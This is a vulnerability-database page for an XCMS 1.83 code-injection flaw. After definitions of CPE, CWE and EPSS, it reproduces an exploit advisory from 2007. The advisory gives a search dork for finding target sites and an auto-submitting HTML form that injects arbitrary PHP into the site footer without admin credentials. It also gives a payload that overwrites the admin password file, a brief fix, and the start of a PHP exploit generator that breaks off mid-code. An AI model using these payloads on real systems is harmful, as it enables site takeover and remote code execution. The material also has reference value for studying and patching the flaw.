CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

cpie.php in XCMS 1.83 and earlier sends a redirect to the web browser but does not exit, which allows remote attackers to conduct direct static code injection attacks and execute arbitrary code via the testo_0 parameter in a cpie admin action to index.php, which writes to dati/generali/footer.dtb (aka the XCMS footer).
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Name : XCMS <= v1.83 Remote Command Execution Vulnerability
Author : x0kster
Email : x0kster@gmail.com
Site : ihteam.net
Script Download : http://www.xcms.it
Date : 28/12/2007
Dork : inurl:"mod=notizie"
The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.
Taking "home.php" for example:
<?php
//home.php
[...]
include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"
?>
So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.
So let's take a look to the bugged code.
<?php
//cpie.php
[...]
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D
[...]
if(isset($_POST['salva'])){
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
}
[...]
?>
So with a simple html form we can change the footer.
Ex:
<form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">
<input type="hidden" name="salva" value="OK" />
<textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>
<input type="submit" value="Modifica" />
</form>
<script>document.editor.submit()</script>
Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.
Trick: We can change the admin panel password by inserting this code in the footer:
<?php
$pwd = "owned"; // <- Place here your new password.
$pwd2 = md5($pwd);
unlink("dati/generali/pass.php");
$f = fopen("dati/generali/pass.php",w);
fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");
fclose($f);
?>
This code delete the old password file and then create a new one with your new password.
Fix:
<?php
//cpie.php
[...]
if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.
[...]
if(isset($_POST['salva'])){
Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
}
[...]
?>
So this is a simple exploit:
<?php
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){
echo "
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">
<input type=\"hidden\" name=\"salva\" value=\"OK\" />
<textarea name=\"testo_0\">".$_POST['code']."</textarea>
<input type=\"submit\" value=\"Modifica\" />
</form>
<script>document.editor.submit()</script>";
}else{
echo"
